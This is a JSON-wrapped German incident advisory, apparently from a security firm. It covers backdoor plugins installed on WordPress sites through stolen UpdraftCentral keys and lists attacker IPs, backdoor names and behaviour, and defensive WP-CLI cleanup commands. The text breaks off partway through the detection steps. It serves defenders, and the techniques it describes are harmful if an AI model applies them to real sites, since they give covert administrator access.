{"id":9628,"date":"2026-10-19T07:44:04","date_gmt":"2026-10-19T05:44:04","guid":{"rendered":"https:\/\/nethemba.com\/updraftcentral-backdoor-analyse\/"},"modified":"2026-10-26T04:36:21","modified_gmt":"2026-10-26T03:36:21","slug":"updraftcentral-backdoor-analyse","status":"publish","type":"post","link":"https:\/\/nethemba.com\/de\/updraftcentral-backdoor-analyse\/","title":{"rendered":"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites"},"content":{"rendered":"<h2 id=\"zusammenfassung\">Zusammenfassung<\/h2>\n<p><em>Stand: 22. Oktober 2026, zuletzt aktualisiert am 22.10.2026 (neue Stellungnahmen des Herstellers, Pr\u00fcfskript v9). Die Liste der \u00c4nderungen steht am Ende des Artikels. Wir erg\u00e4nzen den Text, wenn es Neuigkeiten gibt.<\/em><\/p>\n<p><strong>Aktualisierung 19.10.2026:<\/strong> TeamUpdraft hat <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">einen Sicherheitsvorfall best\u00e4tigt<\/a>. Am Wochenende des 17. und 18. Oktober hatte ein Angreifer unbefugten Zugriff auf teamupdraft.com und hat laut Hersteller wahrscheinlich die Kundendatenbank erbeutet: Namen, E-Mail-Adressen, Rechnungsadressen, Bestellhistorie, Passwort-Hashes, Einstellungen der Zwei-Faktor-Authentifizierung sowie die Verbindungsschl\u00fcssel f\u00fcr UpdraftCentral (Cloud), UpdraftVault und UpdraftClone. Die Schl\u00fcssel, mit denen der Angreifer seine Befehle signierte, stammen also direkt vom Hersteller. Der Hersteller hat alle Konten abgemeldet, die Schl\u00fcssel f\u00fcr UpdraftVault und UpdraftClone ersetzt und bereitet eine Notfallversion von UpdraftPlus vor, die alle UpdraftCentral-Verbindungen automatisch trennt, die vor dem 18.10.2026 um 22:00 BST (23:00 MESZ) angelegt wurden. Sp\u00e4ter korrigierte er diese Grenze in der Stellungnahme auf 13:07 BST (14:07 MESZ), siehe unten. Selbst gehostete UpdraftCentral-Dashboards sind laut Hersteller nicht betroffen.<\/p>\n<p><strong>Aktualisierung 19.10.2026 (abends):<\/strong> <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">Patchstack hat eine eigene Analyse ver\u00f6ffentlicht<\/a>, die unsere Ergebnisse best\u00e4tigt und erweitert. Patchstack sah 99 verschiedene Namen von Hintert\u00fcr-Plugins, installiert zwischen dem 18.10. um 15:32 und dem 19.10. um 9:23, sowie eine zweite IP-Adresse des Angreifers, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>. Auch weitere betroffene Administratoren haben sich gemeldet. Einer von ihnen fand eine <strong>zweite Variante der Hintert\u00fcr, die einen Administrator anlegt und ihn zu verstecken versucht<\/strong>. Wir beschreiben sie unten und haben das Pr\u00fcfskript so angepasst, dass es sie erkennt. Wenn Sie das Skript schon fr\u00fcher ausgef\u00fchrt haben, f\u00fchren Sie es erneut aus.<\/p>\n<p><strong>Aktualisierung 19.10.2026 (funktionierende Variante):<\/strong> Ein weiterer Administrator best\u00e4tigte, dass <strong>eine funktionierende Version der Hintert\u00fcr im Umlauf ist<\/strong>. Auf seinen Websites funktionierten drei von vier Hintert\u00fcren, jede mit anderem Namen und anderer Beschreibung. Ohne den Parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> meldet sie den Angreifer als vorhandenen Administrator an und <strong>hinterl\u00e4sst keine Spur in der Datenbank<\/strong>. Pr\u00fcfen Sie daher auch das Access-Log (siehe unten). Wir haben das Pr\u00fcfskript auf Version 3 aktualisiert, die solche Proben anhand des Codes erkennt.<\/p>\n<p><strong>Aktualisierung 19.10.2026 (Probenanalyse):<\/strong> Ein weiterer betroffener Administrator hat uns drei Hintert\u00fcren von seinen Websites geschickt. Der Angreifer installierte dort zuerst die fehlerhafte erste Variante und sp\u00e4ter funktionierende Hintert\u00fcren. <strong>Wenn Sie die erste Variante gefunden, den UpdraftCentral-Schl\u00fcssel aber nicht sofort gel\u00f6scht haben, pr\u00fcfen Sie die Website erneut.<\/strong> So konnten wir eine Probe der zweiten Variante selbst analysieren. Das Verstecken des Kontos funktioniert darin nicht, der angelegte Administrator erscheint also ganz normal in der Benutzerliste. Die dritte Probe ist eine neue minimale Variante, die den Angreifer nur als vorhandenen Administrator anmeldet. Das Pr\u00fcfskript erkennt sie ab Version 4.<\/p>\n<p><strong>Aktualisierung 19.10.2026 (der Angreifer kommt zur\u00fcck):<\/strong> Der Angreifer ist weiterhin aktiv. Im Laufe des 19. Oktober schickte er weitere Befehle an alle drei unserer Websites, zuletzt um 20:27 MESZ. Auf der Website eines anderen Administrators l\u00f6schte er um 12:22 MESZ mit <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.delete_plugin<\/code> die fehlerhafte Hintert\u00fcr und lud zwei Sekunden sp\u00e4ter eine neue hoch. Bei uns blockierte das mu-Plugin aus Schritt 3 diese Versuche, und die Schl\u00fcssel waren bereits gel\u00f6scht. <strong>L\u00f6schen Sie den UpdraftCentral-Schl\u00fcssel auch dann, wenn Sie die Hintert\u00fcr schon entfernt haben.<\/strong> Vom mu-Plugin blockierte Versuche erscheinen nicht im UpdraftCentral-Log, sondern nur im Access-Log.<\/p>\n<p><strong>Aktualisierung 19.10.2026 (Notfallversion):<\/strong> Der Hersteller ver\u00f6ffentlichte UpdraftPlus 1.26.12 \/ 2.26.12, das die UpdraftCentral-Cloud-Schl\u00fcssel aus der Zeit vor dem Vorfall l\u00f6schen sollte. Wir haben im Code gepr\u00fcft, dass es wegen eines Fehlers keinen einzigen Schl\u00fcssel l\u00f6scht. Der Hersteller hat das am selben Abend in 1.26.13 \/ 2.26.13 behoben. <strong>Aktualisieren Sie auf 1.26.13 \/ 2.26.13 oder neuer, nicht auf 1.26.12 \/ 2.26.12.<\/strong> Auch 1.26.13 l\u00f6scht aber keine Schl\u00fcssel, die am 18.10. zwischen 14:07 und 23:00 MESZ angelegt wurden, obwohl der Hersteller in seiner Stellungnahme urspr\u00fcnglich 23:00 MESZ als Grenze nannte. In der am 23.10. aktualisierten Stellungnahme nennt er 14:07 MESZ (13:07 BST), was dem Code entspricht. L\u00f6schen Sie sp\u00e4ter am 18.10. angelegte Schl\u00fcssel sicherheitshalber von Hand; die Anleitung des Herstellers r\u00e4t ohnehin, den Schl\u00fcssel auf jeder Website zu l\u00f6schen. Die Angriffe auf unsere Websites begannen erst, nachdem der Hersteller den Vorfall best\u00e4tigt und den Zugang des Angreifers gesperrt hatte: Gestohlene Schl\u00fcssel funktionieren, bis die Website sie l\u00f6scht. Unsere Websites mit der Premium-Version haben es am 20.10. automatisch erhalten.<\/p>\n<p><strong>Aktualisierung 20.10.2026 (Schl\u00fcssel ohne Wissen des Betreibers):<\/strong> Sie k\u00f6nnen einen UpdraftCentral-Schl\u00fcssel haben, auch wenn Sie UpdraftCentral nie benutzt haben. Beim Anmelden am teamupdraft.com-Konto in UpdraftPlus, kostenlos wie Premium, ist das Kontrollk\u00e4stchen \u201eAdd this website to UpdraftCentral\u201c vorausgew\u00e4hlt. Pr\u00fcfen Sie daher jede Website mit UpdraftPlus auf einen Schl\u00fcssel. Ein weiterer betroffener Administrator schrieb uns, UpdraftCentral nie eingeschaltet zu haben. Die Website nutzte Wordfence, Patchstack und Cloudflare, und keines davon hat den g\u00fcltig signierten UpdraftCentral-Befehl gestoppt.<\/p>\n<p><strong>Aktualisierung 20.10.2026 (versteckte Hintert\u00fcr):<\/strong> Ein weiterer Administrator schickte uns drei Hintert\u00fcren von einer einzigen Website. Eine davon, \u201eSite Health Cache\u201c, versteckt sich aus der Plugin-Liste im Admin, dort sehen Sie sie also nicht. Verlassen Sie sich deshalb auf das Pr\u00fcfskript, das die Dateien direkt von der Festplatte liest. Auf dieser Website lud der Angreifer in weniger als zehn Stunden die minimale, die funktionierende und die fehlerhafte Variante hoch.<\/p>\n<p><strong>Aktualisierung 20.10.2026 (weitere Proben):<\/strong> Drei Administratoren haben uns zehn weitere Proben geschickt. Alle geh\u00f6ren zu den drei bekannten Varianten; es \u00e4ndern sich nur Name, Beschreibung, falscher Autor und Token. Auf zwei Websites eines Administrators waren funktionierende Hintert\u00fcren mehr als drei Stunden aktiv, bevor die fehlerhafte Variante die Website abst\u00fcrzen lie\u00df. <strong>Eine abgest\u00fcrzte Website hei\u00dft also nicht, dass der Angreifer vorher nicht hineinkam.<\/strong> Pr\u00fcfen Sie auch dann das Access-Log. Auch dieser Administrator hat UpdraftCentral nach eigener Aussage nie benutzt.<\/p>\n<p><strong>Aktualisierung 20.10.2026 (der Angreifer probiert die Hintert\u00fcren aus):<\/strong> Am 20. Oktober probierte der Angreifer die geheimen Ausl\u00f6ser bereits entfernter Hintert\u00fcren direkt auf mindestens sechs Websites von vier Administratoren aus, darunter zwei unserer (bei uns um 11:39 und 11:57 UTC). Auf unseren Websites verwendete er die richtigen Tokens. Die Anfragen kamen von den IP-Adressen <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.220<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.243<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.94.218.31<\/code> und aus den Bereichen <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.133.x<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.134.x<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.144.x<\/code>, immer mit dem gek\u00fcrzten User-Agent <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<\/code>. \u00dcberall kam die normale Seite oder ein Fehler zur\u00fcck, weil die Hintert\u00fcren nicht mehr da waren. <strong>Ist eine Hintert\u00fcr noch auf Ihrer Website, nutzt der Angreifer sie aktiv.<\/strong> Durchsuchen Sie Ihr Access-Log wie unten beschrieben.<\/p>\n<p><strong>Aktualisierung 21.10.2026 (der Angreifer schickt weiter Befehle):<\/strong> Auch am Morgen des 21. Oktober schickte der Angreifer von <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> weitere UpdraftCentral-Befehle an zwei unserer Websites (07:10 bis 09:21 UTC), also nach der Ver\u00f6ffentlichung von 1.26.13 \/ 2.26.13. Bei uns stoppte sie das mu-Plugin, und die Schl\u00fcssel existierten nicht mehr. Der Angreifer nutzt die geleakten Schl\u00fcssel also weiterhin. <strong>Gef\u00e4hrdet bleiben Websites, die nicht 1.26.13 \/ 2.26.13 haben und den Schl\u00fcssel nicht von Hand gel\u00f6scht haben.<\/strong><\/p>\n<table>\n<tbody>\n<tr class=\"odd\">\n<td><strong>Betroffen<\/strong><\/td>\n<td>der Dienst UpdraftCentral, dessen Client Bestandteil des Plugins UpdraftPlus ist, kostenlos wie Premium<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Betroffene Versionen<\/strong><\/td>\n<td>alle UpdraftPlus-Versionen bis 1.26.12 und 2.26.12, die \u00fcber eine sp\u00e4testens am 18.10.2026 angelegte Verbindung mit UpdraftCentral Cloud verbunden sind. Version 1.26.13 \/ 2.26.13 l\u00f6scht Schl\u00fcssel, die vor dem 18.10. um 14:07 MESZ (13:07 BST) angelegt wurden. Diese Grenze nennt seit der Aktualisierung vom 23.10. auch die Stellungnahme des Herstellers (urspr\u00fcnglich 23:00 MESZ). Sp\u00e4ter am 18.10. angelegte Schl\u00fcssel bleiben auf der Website; l\u00f6schen Sie sie sicherheitshalber von Hand. Bei verbundenen Websites mit Versionen bis 1.26.4 und 2.26.4 braucht ein Angreifer nicht einmal g\u00fcltige Schl\u00fcssel (CVE-2026-10795).<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>Wie viele Websites<\/strong><\/td>\n<td>UpdraftPlus hat laut wordpress.org \u00fcber 4 Millionen aktive Installationen, und der Hersteller bezeichnet es als das weltweit beliebteste Plugin f\u00fcr geplante Backups. Beim Juni-Fehler im selben Kanal sch\u00e4tzte der Hersteller, dass weniger als 10 % der Nutzer einen UpdraftCentral- oder Migrator-Schl\u00fcssel haben, also bis zu rund 400.000 Websites. Wie viele davon der Angreifer getroffen hat, wissen wir nicht.<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Fix<\/strong><\/td>\n<td>der Hersteller ver\u00f6ffentlichte am 19.10. UpdraftPlus 1.26.12 \/ 2.26.12, das die alten UpdraftCentral-Cloud-Schl\u00fcssel l\u00f6schen sollte, wegen eines Fehlers aber keinen l\u00f6scht. Erst 1.26.13 \/ 2.26.13 vom Abend des 19.10. funktioniert: Bei jedem Seitenaufruf l\u00f6scht es UpdraftCentral-Cloud-Schl\u00fcssel, die vor dem 18.10.2026 um 14:07 MESZ angelegt wurden. Schl\u00fcssel aus der Zeit zwischen 14:07 und 23:00 MESZ (die urspr\u00fcngliche Grenze des Herstellers) m\u00fcssen Sie von Hand l\u00f6schen, ebenso auf Websites, die noch nicht aktualisiert sind. Die Anleitung des Herstellers r\u00e4t ohnehin, den Schl\u00fcssel auf jeder Website zu l\u00f6schen. Laut Hersteller hat WordPress.org Version 1.26.13 automatisch an alle Websites verteilt.<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>\u00dcbergangsl\u00f6sung<\/strong><\/td>\n<td>die UpdraftCentral-Verbindung entfernen, die Website mit unserem Skript pr\u00fcfen, das Passwort f\u00fcr teamupdraft.com \u00e4ndern und optional UpdraftCentral-Befehle mit einem kleinen mu-Plugin sperren (siehe unten). UpdraftPlus muss nicht deinstalliert werden, Backups funktionieren weiter.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>In der Nacht zum 19. Oktober 2026 schickte ein Angreifer von der IP-Adresse <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> \u00fcber den Dienst UpdraftCentral den Befehl <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> an drei unserer WordPress-Websites. UpdraftCentral ist ein Dienst zur Fernverwaltung von Websites von TeamUpdraft, und sein Client steckt in jeder Kopie des Plugins UpdraftPlus. Auf zwei unserer Websites ging der Befehl durch, und WordPress installierte und aktivierte ein unbekanntes Plugin. Auf der dritten scheiterte er an den Berechtigungen.<\/p>\n<p>Der Fehler lag nicht bei uns. Alle drei Websites liefen mit dem aktuellen WordPress 7.1.3 und UpdraftPlus 2.26.11, das gegen die Juni-Schwachstelle CVE-2026-10795 gepatcht ist. Der Angreifer ist nicht in unsere Server eingedrungen und hat keine Schw\u00e4che in unserer Konfiguration ausgenutzt. Er kam \u00fcber den Fernverwaltungskanal von UpdraftCentral und signierte seine Befehle mit g\u00fcltigen privaten Dashboard-Schl\u00fcsseln. Diese erzeugt und verwahrt der Dienst UpdraftCentral Cloud, auf unseren Servern waren sie nie. Wer sie besitzt, kann auf jeder verbundenen Website ohne Wissen des Betreibers beliebigen Code installieren und ausf\u00fchren. Deshalb halten wir das f\u00fcr ein kritisches Sicherheitsproblem des Dienstes UpdraftCentral.<\/p>\n<p><strong>Wer gef\u00e4hrdet ist:<\/strong> jede Website mit UpdraftPlus, kostenlos oder Premium, die mit UpdraftCentral verbunden ist, also einen UpdraftCentral-Schl\u00fcssel hat. Jede der \u00fcber 4 Millionen UpdraftPlus-Installationen enth\u00e4lt den UpdraftCentral-Client. Websites, die nicht mit UpdraftCentral verbunden sind, gef\u00e4hrdet dieser Angriff nicht, weil sie ohne Schl\u00fcssel keine UpdraftCentral-Befehle annehmen. Unsere Websites waren mit UpdraftCentral Cloud verbunden, dem von TeamUpdraft betriebenen Dashboard. Laut Hersteller sind selbst gehostete UpdraftCentral-Dashboards nicht betroffen. Abgeflossen sind aber auch die Schl\u00fcssel f\u00fcr UpdraftVault und UpdraftClone, die der Hersteller inzwischen ersetzt hat. Der Schl\u00fcssel kann auch ohne Wissen des Betreibers entstanden sein: Beim Anmelden am teamupdraft.com-Konto im Tab Premium \/ Extensions bieten die kostenlose und die Premium-Version das Kontrollk\u00e4stchen \u201eAdd this website to UpdraftCentral\u201c an, das vorausgew\u00e4hlt ist, solange die Website keinen Schl\u00fcssel hat (gepr\u00fcft im Code der Versionen 2.26.11 und 1.26.13). Die blo\u00dfe Installation des Plugins erzeugt keinen Schl\u00fcssel, erst die Anmeldung an einem teamupdraft.com-Konto im Plugin. Betroffen sind daher vor allem Premium-Websites, deren Betreiber sich f\u00fcr Lizenz und Updates anmelden, und kostenlose Websites, die irgendwann mit einem Konto verbunden wurden.<\/p>\n<p>Es handelt sich nicht um die Schwachstelle CVE-2026-10795, \u00fcber die Wordfence im Juni berichtete: Gegen sie waren unsere Websites gepatcht, und Versuche, sie auszunutzen, schlugen dort fehl.<\/p>\n<p>Das Plugin ist eine Hintert\u00fcr. \u00dcber einen geheimen Link sollte es ein Konto mit getarnten Administratorrechten anlegen und den Angreifer direkt darin anmelden. Der Autor hat jedoch einen Fehler in den Code eingebaut, sodass die Hintert\u00fcr auf unseren Websites nie funktionierte. Stattdessen brachte sie jede Anfrage an die Website zum Absturz, die nicht aus dem Cache kam, und WordPress schickte uns dar\u00fcber eine E-Mail. So fanden wir sie innerhalb von Minuten bis Stunden. Andere Administratoren haben inzwischen jedoch funktionierende Varianten gefunden, die wir weiter unten beschreiben.<\/p>\n<p>Wir haben den Vorfall am 19. Oktober an TeamUpdraft gemeldet und um eine Erkl\u00e4rung gebeten, wie die Schl\u00fcssel zum Angreifer gelangt sind.<\/p>\n<p><strong>Wenn Ihre Website mit UpdraftCentral verbunden ist, betrachten Sie sie als potenziell kompromittiert, bis Sie sie gepr\u00fcft haben.<\/strong> Entfernen Sie die Verbindung sofort und pr\u00fcfen Sie die Website wie unten beschrieben. Stand 19. Oktober 2026 haben wir keine \u00f6ffentliche Erw\u00e4hnung dieser Hintert\u00fcr oder eines \u00e4hnlichen Angriffs nach dem Juni-Fix gefunden.<\/p>\n<h2 id=\"was-sie-jetzt-tun-sollten\">Was Sie jetzt tun sollten<\/h2>\n<h3 id=\"entfernen-sie-die-updraftcentral-verbindung\">1. Entfernen Sie die UpdraftCentral-Verbindung<\/h3>\n<p>Aktualisieren Sie UpdraftPlus auf Version 1.26.13 (kostenlos) oder 2.26.13 (Premium) oder neuer. Sie l\u00f6scht UpdraftCentral-Cloud-Schl\u00fcssel, die vor dem 18.10.2026 um 14:07 MESZ angelegt wurden, von selbst. Version 1.26.12 \/ 2.26.12 l\u00f6scht sie nicht. Pr\u00fcfen Sie danach trotzdem, ob kein Schl\u00fcssel auf der Website geblieben ist:<\/p>\n<p>\u00d6ffnen Sie im WordPress-Admin Einstellungen \u2192 UpdraftPlus Backups \u2192 Reiter \u201eAdvanced Tools\u201c \u2192 \u201eUpdraftCentral\u201c. Klicken Sie auf \u201eManage existing keys (N)\u2026\u201c und bei jedem Schl\u00fcssel auf \u201eDelete\u2026\u201c. Steht dort kein Schl\u00fcssel, ist die Website nicht verbunden.<\/p>\n<p>Mit Zugriff auf die Kommandozeile erledigt das derselbe Befehl im WordPress-Stammverzeichnis:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp option delete updraft_central_localkeys<\/code><\/pre>\n<p>Entfernen Sie die Website danach auch im UpdraftCentral-Dashboard (teamupdraft.com \u2192 My account \u2192 UpdraftCentral \u2192 \u2022\u2022\u2022 bei der Website \u2192 Remove site). Das Entfernen im Dashboard allein reicht nicht. Der Angreifer hat den privaten Schl\u00fcssel des Dashboards, entscheidend ist also das L\u00f6schen des Schl\u00fcssels auf der Website.<\/p>\n<p>Laut Hersteller k\u00f6nnen Sie die Website wieder verbinden, nachdem Sie den Schl\u00fcssel gel\u00f6scht, die Website gepr\u00fcft und die Administrator-Passw\u00f6rter ge\u00e4ndert haben. \u00c4ndern Sie vorher Ihr Passwort f\u00fcr teamupdraft.com (Adresse selbst in den Browser eingeben, keinem Link aus einer E-Mail folgen), \u00e4ndern Sie dasselbe Passwort \u00fcberall, wo Sie es verwendet haben, und richten Sie die Zwei-Faktor-Authentifizierung neu ein. Falls Sie unser Sperr-mu-Plugin eingesetzt haben, entfernen Sie es vor dem erneuten Verbinden. Wer UpdraftVault nutzt, muss seine Websites mit den neuen Zugangsdaten neu verbinden.<\/p>\n<p>Hat die Website auch UpdraftPlus-Migrator-Schl\u00fcssel (Tab \u201eMigrate \/ Clone\u201c) und migrieren Sie gerade nicht, l\u00f6schen Sie auch diese, etwa mit <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp option delete updraft_migrator_localkeys<\/code>. Sie nutzen denselben Kanal und erlauben einer anderen Website, Sicherungsdateien an Ihre Website zu senden. Einen Missbrauch haben wir bisher nicht gesehen.<\/p>\n<p>UpdraftPlus Premium speichert das Passwort des teamupdraft.com-Kontos so in der Datenbank, wie Sie es eingeben (Option <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftplus-addons_options<\/code>), und l\u00f6scht es erst nach einer erfolgreichen Anmeldung per Token. Es kann daher in der Datenbank und in deren Sicherungen bleiben. In der Praxis bleibt es oft dauerhaft dort. Ein Leser fand es auf allen drei seiner Premium-Websites und in Sicherungen bis zur\u00fcck ins Jahr 2022 und stellte fest, dass schon eine einfache Verbindung mit dem Konto im Tab Premium \/ Extensions es speichert. Wir fanden es auf einer unserer drei Websites. Der Hersteller sagt, das Passwort werde nach der ersten Verbindung entfernt; der Code entfernt es aber erst, nachdem Add-ons erfolgreich per Token beansprucht wurden. Mit dem folgenden Befehl k\u00f6nnen Sie es entfernen; Plugin-Updates brauchen es nicht. \u00c4ndern Sie danach das Kontopasswort. Wenn Sie sich im Plugin erneut am Konto anmelden, entfernen Sie das H\u00e4kchen bei \u201eAdd this website to UpdraftCentral\u201c. In den bisher analysierten Proben dieser Kampagne haben wir keinen Code gefunden, der dieses Passwort liest, aber jede funktionierende Hintert\u00fcr und jedes hochgeladene Plugin kann es lesen.<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp eval &#39;$o = get_option(&quot;updraftplus-addons_options&quot;); if (is_array($o)) { unset($o[&quot;password&quot;]); update_option(&quot;updraftplus-addons_options&quot;, $o); }&#39;<\/code><\/pre>\n<h3 id=\"pr\u00fcfen-sie-ob-die-hintert\u00fcr-auf-ihrer-website-ist\">2. Pr\u00fcfen Sie, ob die Hintert\u00fcr auf Ihrer Website ist<\/h3>\n<p>Ohne Kommandozeile:<\/p>\n<ul>\n<li>Klicken Sie auf demselben UpdraftCentral-Bildschirm auf \u201eView recent UpdraftCentral log events\u2026\u201c. Suchen Sie nach den Zeilen \u201eCommand received: plugin.upload_plugin\u201c, \u201eCommand received: plugin.delete_plugin\u201c und \u201eprobe.central.updraftplus.com\u201c. Steht die Website hinter einem Proxy wie Cloudflare, zeigt das Log die IP-Adresse des Proxys, nicht die des Angreifers. Zeilen mit \u201eSignature verification failed; discarding\u201c bedeuten, dass der Angreifer es versucht hat, sein Schl\u00fcssel aber nicht zur Website passte und die Website den Befehl verworfen hat.<\/li>\n<li>Suchen Sie in der Plugin-Liste nach einem Plugin, das Sie nicht installiert haben. Die erste Variante hat die Beschreibung \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c und einen Namen aus zwei W\u00f6rtern, meist mit drei zus\u00e4tzlichen Zeichen, zum Beispiel \u201eLoad Stack 35C\u201c oder \u201eQuery Shelf\u201c. Die anderen Varianten haben jedes Mal einen anderen Namen und eine andere Beschreibung, zum Beispiel \u201eBoost Kit\u201c, \u201eCache Smith\u201c oder \u201eSite Health 364F\u201c. Manche Varianten verstecken sich jedoch aus der Plugin-Liste, ein Blick darauf gen\u00fcgt also nicht.<\/li>\n<li>Suchen Sie in der Benutzerliste nach einem Konto mit dem Namen \u201eSite Tools\u201c oder einer E-Mail-Adresse bei <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code> oder <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.com<\/code>. Die funktionierende Variante legt einen Administrator an und versucht ihn zu verstecken, er erscheint in der Liste aber ganz normal.<\/li>\n<li>Meldet eine Hintert\u00fcr den Angreifer als vorhandenen Administrator an, legt sie kein Konto an. Dann verraten sie nur das Plugin und das Access-Log, pr\u00fcfen Sie die Website daher auch mit dem Skript und sehen Sie ins Access-Log.<\/li>\n<\/ul>\n<p>Ist die erste Variante der Hintert\u00fcr auf der Website, funktioniert der Admin wom\u00f6glich gar nicht, weil das Plugin jede Anfrage abst\u00fcrzen l\u00e4sst. Verwenden Sie dann die Kommandozeile.<\/p>\n<p>Mit Kommandozeile speichern Sie unser Pr\u00fcfskript vom Ende dieses Artikels als <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">check-updraftcentral.php<\/code> im WordPress-Stammverzeichnis und f\u00fchren aus:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp eval-file check-updraftcentral.php --skip-plugins --skip-themes<\/code><\/pre>\n<p>Das Skript liest nur und \u00e4ndert nichts. Der Schalter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">--skip-plugins<\/code> ist wichtig, weil eine installierte Hintert\u00fcr sonst auch WP-CLI abst\u00fcrzen l\u00e4sst. Zeilen mit <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code> sind Spuren des Angriffs, <code 